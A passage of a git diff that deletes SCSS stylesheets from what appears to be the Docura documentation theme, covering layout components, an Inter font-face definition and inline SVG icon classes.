text-align: center; -} - -.cover h2 { - font-family: var(--font-family-brand); - font-size: 2em; - text-align: center; -} - -.cover h3 { - font-family: var(--font-family-brand); - font-size: 1.5em; - text-align: center; - padding-top: .8em; -} - -.cover p { - font-size: 1em; - padding-top: .8em; -} - -.github-buttons { - display: flex; - gap: 10px; - padding-top: 20px; - justify-content: center; -} - -.github-repos-grid { - display: flex; - flex-wrap: wrap; - padding-top: 4em; - padding-bottom: 2em; - gap: 4em; - width: 100%; -} - -.github-repo-tile { - width: 100%; -} - -.github-repo-tile .icon { - width: 80px; - height: 80px; - background-size: 5em; -} - -.github-repo-tile a { - display: flex; - flex-direction: column; - align-items: center; -} - -@media (min-width: 768px) { - .github-repos-grid { - flex-direction: row; - width: 80%; - padding-top: 4em; - gap: 0; - } - - .github-repo-tile { - width: 50%; - } -} - -@media (min-width: 1024px) { - .github-repos-grid { - width: 60%; - padding-top: 6em; - } - - .github-repo-tile .icon { - width: 100px; - height: 100px; - background-size: 6.25em; - } -} - -@media (min-width: 1281px) { - .github-repos-grid { - width: 50%; - } - - .github-repo-tile .icon { - width: 120px; - height: 120px; - background-size: 7.5em; - } -} - -@media (min-width: 1920px) { - .github-repos-grid { - width: 40%; - } - - .github-repo-tile .icon { - width: 160px; - height: 160px; - background-size: 10em; - } -} \ No newline at end of file diff --git a/assets/scss/component/sidebar.scss b/assets/scss/component/sidebar.scss deleted file mode 100644 index 95606f6..0000000 --- a/assets/scss/component/sidebar.scss +++ /dev/null @@ -1,60 +0,0 @@ -#sidebar { - padding: 40px 0; -} - -#sidebar .sticky { - display: flex; - flex-direction: column; - padding: 0 20px; - overflow: auto; -} - -.sidebar-section, .sidebar-link { - padding: 7px 0; -} - -.sidebar-section { - margin-top: 40px; - font-weight: 600; - color: var(--color2) -} - -#sidebar .sidebar-section:first-child { - margin-top: 0; -} - -.sidebar-link { - padding-left: 10px; - color: var(--color3); - border-left: 1px solid var(--border-color); - margin-left: 4px; -} - -.sidebar-link::before { - content: ''; - display: inline-block; - width: 6px; - height: 6px; - background: var(--background); - box-shadow: var(--box-shadow); - border-radius: 50%; - position: relative; - left: -13.5px; - top: -3px; -} - -.sidebar-link:hover { - color: var(--color-hover); - font-weight: 600; - font-size: 98%; -} - -.sidebar-link.current { - color: var(--color-anchor); - font-weight: 600; - font-size: 98%; -} - -.sidebar-link.current::before, .sidebar-link:hover::before { - background: var(--color-anchor); -} \ No newline at end of file diff --git a/assets/scss/component/site-footer.scss b/assets/scss/component/site-footer.scss deleted file mode 100644 index b7c03fe..0000000 --- a/assets/scss/component/site-footer.scss +++ /dev/null @@ -1,41 +0,0 @@ -#site-footer-social { - display: flex; - gap: 12px; - justify-content: flex-start; - padding-left: 12px; - align-items: center; -} - -#site-footer-fund { - display: flex; - gap: 12px; - overflow: auto; - justify-content: flex-end; - padding-right: 12px; - align-items: center; -} - -#site-footer-copyright, #site-footer-love { - display: flex; - align-items: center; - justify-content: center; - color: var(--color3) -} - -#site-footer-copyright a { - display: flex; - align-items: center; -} - -/* From Small Tablet */ -@media (min-width: 768px) { - #site-footer-copyright { - justify-content: flex-start; - padding-left: 12px; - } - - #site-footer-social { - justify-content: flex-end; - padding-right: 12px; - } -} diff --git a/assets/scss/component/site-header.scss b/assets/scss/component/site-header.scss deleted file mode 100644 index c022313..0000000 --- a/assets/scss/component/site-header.scss +++ /dev/null @@ -1,61 +0,0 @@ -#site-header-brand { - display: flex; - align-items: center; - font-family: var(--font-family-brand); - font-size: 1.4em; - color: var(--color2); -} - -#site-header-brand a { - padding: 12px; -} - -#site-header-menu { - padding: 0 12px; - display: flex; - align-items: center; - color: var(--color3); -} - -#site-header-menu nav { - width: 100%; - overflow: auto; -} - -#site-header-menu ul { - display: flex; - height: 100%; - align-items: center; - gap: 12px; -} - -#site-header-menu a { - display: flex; - padding: 12px 6px; - gap: 3px; - white-space: nowrap; -} - -#site-header-menu a:focus, #site-header-menu a:hover, #site-header-menu a.active { - border-bottom: 3px solid; -} - -#site-header-controls { - display: flex; - align-items: center; - padding-right: 12px; - justify-content: flex-end; - gap: 12px -} - -#site-header-search { - display: flex; - align-items: flex-end; -} - -/* From Small Tablet */ -@media (min-width: 768px) { - #site-header-search { - align-items: center; - } -} \ No newline at end of file diff --git a/assets/scss/component/toc.scss b/assets/scss/component/toc.scss deleted file mode 100644 index 9ab15d2..0000000 --- a/assets/scss/component/toc.scss +++ /dev/null @@ -1,54 +0,0 @@ -#toc { - padding-top: 40px; - padding-bottom: 40px; -} - -#toc .sticky{ - overflow: auto; -} - -#toc strong { - font-weight: 600; - padding: 7px 10px 7px 0; - display: flex; - gap: 3px; - position: relative; - left: -3px; - color: var(--color2) -} - -#toc ul { - margin-left: .3em; - border-left: 1px solid var(--border-color); -} - -#toc ul ul { - margin-left: 1em; -} - -#toc ul a { - display: inline-block; - padding: 7px; - color: var(--color3); -} - -#toc ul a.active, #toc ul a:hover { - color: var(--color-hover); -} - -#toc ul a::before { - content: ''; - display: inline-block; - width: 6px; - height: 6px; - background: var(--background); - box-shadow: var(--box-shadow); - position: relative; - left: -10.5px; - top: -3px; -} - -#toc ul a.active::before, #toc ul a:hover::before { - background: var(--color-hover); -} - diff --git a/assets/scss/font/inter.scss b/assets/scss/font/inter.scss deleted file mode 100644 index 5b94ebb..0000000 --- a/assets/scss/font/inter.scss +++ /dev/null @@ -1,35 +0,0 @@ -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 400; - font-display: swap; - src: url("/font/Inter-Regular.woff2?v=3.19") format("woff2"), - url("/font/Inter-Regular.woff?v=3.19") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 400; - font-display: swap; - src: url("/font/Inter-Italic.woff2?v=3.19") format("woff2"), - url("/font/Inter-Italic.woff?v=3.19") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 600; - font-display: swap; - src: url("/font/Inter-SemiBold.woff2?v=3.19") format("woff2"), - url("/font/Inter-SemiBold.woff?v=3.19") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 600; - font-display: swap; - src: url("/font/Inter-SemiBoldItalic.woff2?v=3.19") format("woff2"), - url("/font/Inter-SemiBoldItalic.woff?v=3.19") format("woff"); -} diff --git a/assets/scss/home.scss b/assets/scss/home.scss deleted file mode 100644 index d405d7d..0000000 --- a/assets/scss/home.scss +++ /dev/null @@ -1,16 +0,0 @@ -/*! - * Docura (https://docura.github.io/) - * Copyright 2022-2023 Dumindu Madunuwan - * Licensed under the MIT License. - */ - -@import "reset"; -@import "variables"; -@import "layout"; - -@import "component/site-header"; -@import "component/site-footer"; -@import "component/home"; - -@import "component/button"; -@import "component/dropdown"; \ No newline at end of file diff --git a/assets/scss/icon/default.scss b/assets/scss/icon/default.scss deleted file mode 100644 index 2e6083a..0000000 --- a/assets/scss/icon/default.scss +++ /dev/null @@ -1,117 +0,0 @@ -.icon { - display: block; - width: 18px; - height: 18px; -} - -/* -- social icons: add `.icon-colored` with `.icon` -- */ -.icon-facebook { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 30 30' fill='%231877f2' %3E%3Cpath d='M30 15.091C30 6.756 23.285 0 15 0S0 6.756 0 15.091C0 22.625 5.484 28.868 12.656 30V19.454H8.848V15.09h3.808v-3.324c0-3.782 2.239-5.872 5.666-5.872 1.64 0 3.358.295 3.358.295v3.714h-1.893c-1.863 0-2.443 1.164-2.443 2.358v2.83h4.16l-.665 4.362h-3.495V30C24.516 28.868 30 22.625 30 15.091z'%3E%3C/path%3E%3C/svg%3E"); -} - -.icon-twitter { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%231d9bf0' %3E%3Cpath d='M24 4.557c-.883.392-1.832.656-2.828.775 1.017-.609 1.798-1.574 2.165-2.724-.951.564-2.005.974-3.127 1.195-.897-.957-2.178-1.555-3.594-1.555-3.179 0-5.515 2.966-4.797 6.045-4.091-.205-7.719-2.165-10.148-5.144-1.29 2.213-.669 5.108 1.523 6.574-.806-.026-1.566-.247-2.229-.616-.054 2.281 1.581 4.415 3.949 4.89-.693.188-1.452.232-2.224.084.626 1.956 2.444 3.379 4.6 3.419-2.07 1.623-4.678 2.348-7.29 2.04 2.179 1.397 4.768 2.212 7.548 2.212 9.142 0 14.307-7.721 13.995-14.646.962-.695 1.797-1.562 2.457-2.549z'/%3E%3C/svg%3E"); - transform: scale(1.1); -} - -.icon-youtube { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%23ff0000' %3E%3Cpath d='M23.498 6.186a3.016 3.016 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.017 3.017 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.016 3.016 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.015 3.015 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814zM9.545 15.568V8.432L15.818 12l-6.273 3.568z'%3E%3C/path%3E%3C/svg%3E"); - transform: scale(1.1); -} - -.icon-github { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%2324292f' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E"); -} - -:root[data-color="dark"] .icon-github, :root[data-color="night"] .icon-github { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%236e7681' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E"); -} - - -/* -- template icons -- */ -.icon-menu { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3Cpath d='M4,18h11c0.55,0,1-0.45,1-1v0c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,17.55,3.45,18,4,18z M4,13h8c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,12.55,3.45,13,4,13z M3,7L3,7c0,0.55,0.45,1,1,1h11c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4C3.45,6,3,6.45,3,7z M20.3,14.88L17.42,12l2.88-2.88c0.39-0.39,0.39-1.02,0-1.41l0,0 c-0.39-0.39-1.02-0.39-1.41,0l-3.59,3.59c-0.39,0.39-0.39,1.02,0,1.41l3.59,3.59c0.39,0.39,1.02,0.39,1.41,0l0,0 C20.68,15.91,20.69,15.27,20.3,14.88z'/%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3C/svg%3E"); -} - -.icon-toc { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23000000'%3E%3Cpath d='M0 0h24v24H0V0zm0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M3 9h14V7H3v2zm0 4h14v-2H3v2zm0 4h14v-2H3v2zm16 0h2v-2h-2v2zm0-10v2h2V7h-2zm0 6h2v-2h-2v2z'/%3E%3C/svg%3E"); -} - -.icon-close { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41z'/%3E%3C/svg%3E"); -} - -.icon-home { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Crect fill='none' height='24' width='24'/%3E%3Cpolygon opacity='.3' points='18,19 13,19 13,15 11,15 11,19 6,19 6,10.1 12,5.52 18,10.1'/%3E%3Cpath d='M12,3L6,7.58V6H4v3.11L1,11.4l1.21,1.59L4,11.62V21h16v-9.38l1.79,1.36L23,11.4L12,3z M18,19h-5v-4h-2v4H6v-8.9l6-4.58 l6,4.58V19z M10,1c0,1.66-1.34,3-3,3C6.45,4,6,4.45,6,5H4c0-1.66,1.34-3,3-3c0.55,0,1-0.45,1-1H10z'/%3E%3C/svg%3E"); -} - -.icon-book { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg/%3E%3Cg%3E%3Cpath d='M21,5c-1.11-0.35-2.33-0.5-3.5-0.5c-1.95,0-4.05,0.4-5.5,1.5c-1.45-1.1-3.55-1.5-5.5-1.5S2.45,4.9,1,6v14.65 c0,0.25,0.25,0.5,0.5,0.5c0.1,0,0.15-0.05,0.25-0.05C3.1,20.45,5.05,20,6.5,20c1.95,0,4.05,0.4,5.5,1.5c1.35-0.85,3.8-1.5,5.5-1.5 c1.65,0,3.35,0.3,4.75,1.05c0.1,0.05,0.15,0.05,0.25,0.05c0.25,0,0.5-0.25,0.5-0.5V6C22.4,5.55,21.75,5.25,21,5z M3,18.5V7 c1.1-0.35,2.3-0.5,3.5-0.5c1.34,0,3.13,0.41,4.5,0.99v11.5C9.63,18.41,7.84,18,6.5,18C5.3,18,4.1,18.15,3,18.5z M21,18.5 c-1.1-0.35-2.3-0.5-3.5-0.5c-1.34,0-3.13,0.41-4.5,0.99V7.49c1.37-0.59,3.16-0.99,4.5-0.99c1.2,0,2.4,0.15,3.5,0.5V18.5z'/%3E%3Cpath d='M11,7.49C9.63,6.91,7.84,6.5,6.5,6.5C5.3,6.5,4.1,6.65,3,7v11.5C4.1,18.15,5.3,18,6.5,18 c1.34,0,3.13,0.41,4.5,0.99V7.49z' opacity='.3'/%3E%3C/g%3E%3Cg%3E%3Cpath d='M17.5,10.5c0.88,0,1.73,0.09,2.5,0.26V9.24C19.21,9.09,18.36,9,17.5,9c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,10.69,16.18,10.5,17.5,10.5z'/%3E%3Cpath d='M17.5,13.16c0.88,0,1.73,0.09,2.5,0.26V11.9c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,13.36,16.18,13.16,17.5,13.16z'/%3E%3Cpath d='M17.5,15.83c0.88,0,1.73,0.09,2.5,0.26v-1.52c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,16.02,16.18,15.83,17.5,15.83z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E"); -} - -.icon-theme { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0z' fill='none'/%3E%3Cpath d='M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8zm-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12zm3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8zm5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8zm3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5z'/%3E%3C/svg%3E"); -} - -.icon-brightness { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12 18 9.52zm-6 7.98v-11c3.03 0 5.5 2.47 5.5 5.5s-2.47 5.5-5.5 5.5z' opacity='.3'/%3E%3Cpath d='M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12 18 14.48zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5z'/%3E%3C/svg%3E"); -} - -.icon-light-mode { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Ccircle cx='12' cy='12' opacity='.3' r='3'/%3E%3Cpath d='M12,9c1.65,0,3,1.35,3,3s-1.35,3-3,3s-3-1.35-3-3S10.35,9,12,9 M12,7c-2.76,0-5,2.24-5,5s2.24,5,5,5s5-2.24,5-5 S14.76,7,12,7L12,7z M2,13l2,0c0.55,0,1-0.45,1-1s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S1.45,13,2,13z M20,13l2,0c0.55,0,1-0.45,1-1 s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S19.45,13,20,13z M11,2v2c0,0.55,0.45,1,1,1s1-0.45,1-1V2c0-0.55-0.45-1-1-1S11,1.45,11,2z M11,20v2c0,0.55,0.45,1,1,1s1-0.45,1-1v-2c0-0.55-0.45-1-1-1C11.45,19,11,19.45,11,20z M5.99,4.58c-0.39-0.39-1.03-0.39-1.41,0 c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0s0.39-1.03,0-1.41L5.99,4.58z M18.36,16.95 c-0.39-0.39-1.03-0.39-1.41,0c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0c0.39-0.39,0.39-1.03,0-1.41 L18.36,16.95z M19.42,5.99c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06c-0.39,0.39-0.39,1.03,0,1.41 s1.03,0.39,1.41,0L19.42,5.99z M7.05,18.36c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06 c-0.39,0.39-0.39,1.03,0,1.41s1.03,0.39,1.41,0L7.05,18.36z'/%3E%3C/svg%3E"); -} - -.icon-dark-mode { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27 C17.45,17.19,14.93,19,12,19c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z' opacity='.3'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27C17.45,17.19,14.93,19,12,19 c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z M12,3c-4.97,0-9,4.03-9,9s4.03,9,9,9s9-4.03,9-9c0-0.46-0.04-0.92-0.1-1.36 c-0.98,1.37-2.58,2.26-4.4,2.26c-2.98,0-5.4-2.42-5.4-5.4c0-1.81,0.89-3.42,2.26-4.4C12.92,3.04,12.46,3,12,3L12,3z'/%3E%3C/svg%3E"); -} - -.icon-night-mode { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg%3E%3Cpath d='M8.1,14.15C9.77,14.63,11,16.17,11,18c0,0.68-0.19,1.31-0.48,1.87c0.48,0.09,0.97,0.14,1.48,0.14 c1.48,0,2.9-0.41,4.13-1.15c-2.62-0.92-5.23-2.82-6.8-5.86C7.74,9.94,7.78,7.09,8.29,4.9c-2.57,1.33-4.3,4.01-4.3,7.1c0,0,0,0,0,0 c0.01,0,0.01,0,0.02,0C5.66,12,7.18,12.83,8.1,14.15z' opacity='.3'/%3E%3Cpath d='M19.78,17.51c-2.47,0-6.57-1.33-8.68-5.43C8.77,7.57,10.6,3.6,11.63,2.01C6.27,2.2,1.98,6.59,1.98,12 c0,0.14,0.02,0.28,0.02,0.42C2.61,12.16,3.28,12,3.98,12c0,0,0,0,0,0c0-3.09,1.73-5.77,4.3-7.1C7.78,7.09,7.74,9.94,9.32,13 c1.57,3.04,4.18,4.95,6.8,5.86c-1.23,0.74-2.65,1.15-4.13,1.15c-0.5,0-1-0.05-1.48-0.14c-0.37,0.7-0.94,1.27-1.64,1.64 c0.98,0.32,2.03,0.5,3.11,0.5c3.5,0,6.58-1.8,8.37-4.52C20.18,17.5,19.98,17.51,19.78,17.51z'/%3E%3Cpath d='M7,16l-0.18,0C6.4,14.84,5.3,14,4,14c-1.66,0-3,1.34-3,3s1.34,3,3,3c0.62,0,2.49,0,3,0c1.1,0,2-0.9,2-2 C9,16.9,8.1,16,7,16z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E"); -} - -.icon-translate { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12.65 15.67c.14-.36.05-.77-.23-1.05l-2.09-2.06.03-.03c1.74-1.94 2.98-4.17 3.71-6.53h1.94c.54 0 .99-.45.99-.99v-.02c0-.54-.45-.99-.99-.99H10V3c0-.55-.45-1-1-1s-1 .45-1 1v1H1.99c-.54 0-.99.45-.99.99 0 .55.45.99.99.99h10.18C11.5 7.92 10.44 9.75 9 11.35c-.81-.89-1.49-1.86-2.06-2.88-.16-.29-.45-.47-.78-.47-.69 0-1.13.75-.79 1.35.63 1.13 1.4 2.21 2.3 3.21L3.3 16.87c-.4.39-.4 1.03 0 1.42.39.39 1.02.39 1.42 0L9 14l2.02 2.02c.51.51 1.38.32 1.63-.35zM17.5 10c-.6 0-1.14.37-1.35.94l-3.67 9.8c-.24.61.22 1.26.87 1.26.39 0 .74-.24.88-.61l.89-2.39h4.75l.9 2.39c.14.36.49.61.88.61.65 0 1.11-.65.88-1.26l-3.67-9.8c-.22-.57-.76-.94-1.36-.94zm-1.62 7l1.62-4.33L19.12 17h-3.24z'/%3E%3C/svg%3E"); -} - -.icon-search { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-5-5.59-5.34-4.23-.52-7.79 3.04-7.27 7.27.34 2.8 2.56 5.12 5.34 5.59 2.03.34 3.94-.28 5.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0 .41-.41.41-1.08 0-1.49L15.5 14zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z'/%3E%3C/svg%3E"); -} - -.icon-select { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12 5.83L15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9 12 5.83zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15 12 18.17z'/%3E%3C/svg%3E"); -} - -.icon-calendar { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Crect height='2' opacity='.3' width='14' x='5' y='6'/%3E%3Cpath d='M19,4h-1V2h-2v2H8V2H6v2H5C3.89,4,3.01,4.9,3.01,6L3,20c0,1.1,0.89,2,2,2h14c1.1,0,2-0.9,2-2V6C21,4.9,20.1,4,19,4z M19,20 H5V10h14V20z M19,8H5V6h14V8z M9,14H7v-2h2V14z M13,14h-2v-2h2V14z M17,14h-2v-2h2V14z M9,18H7v-2h2V18z M13,18h-2v-2h2V18z M17,18 h-2v-2h2V18z'/%3E%3C/g%3E%3C/svg%3E"); -} - -.icon-next { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M24 24H0V0h24v24z' fill='none' opacity='.87'/%3E%3Cpath d='M7.38 21.01c.49.49 1.28.49 1.77 0l8.31-8.31c.39-.39.39-1.02 0-1.41L9.15 2.98c-.49-.49-1.28-.49-1.77 0s-.49 1.28 0 1.77L14.62 12l-7.25 7.25c-.48.48-.48 1.28.01 1.76z' fill='%23328ac1'/%3E%3C/svg%3E"); -} - -.icon-prev { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cg%3E%3Cpath d='M16.88,2.88L16.88,2.88c-0.49-0.49-1.28-0.49-1.77,0l-8.41,8.41c-0.39,0.39-0.39,1.02,0,1.41l8.41,8.41 c0.49,0.49,1.28,0.49,1.77,0l0,0c0.49-0.49,0.49-1.28,0-1.77L9.54,12l7.35-7.35C17.37,4.16,17.37,3.37,16.88,2.88z' fill='%23328ac1'/%3E%3C/g%3E%3C/svg%3E"); -} - -.icon-copyright { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91c.48.22 1.05.34 1.7.34.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z'/%3E%3C/svg%3E"); -} - -/* -- add `.icon-colored` -- */ -.icon-love { - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23ff4d4d' %3E%3Cpath d='M0 0h24v24H0V0z' 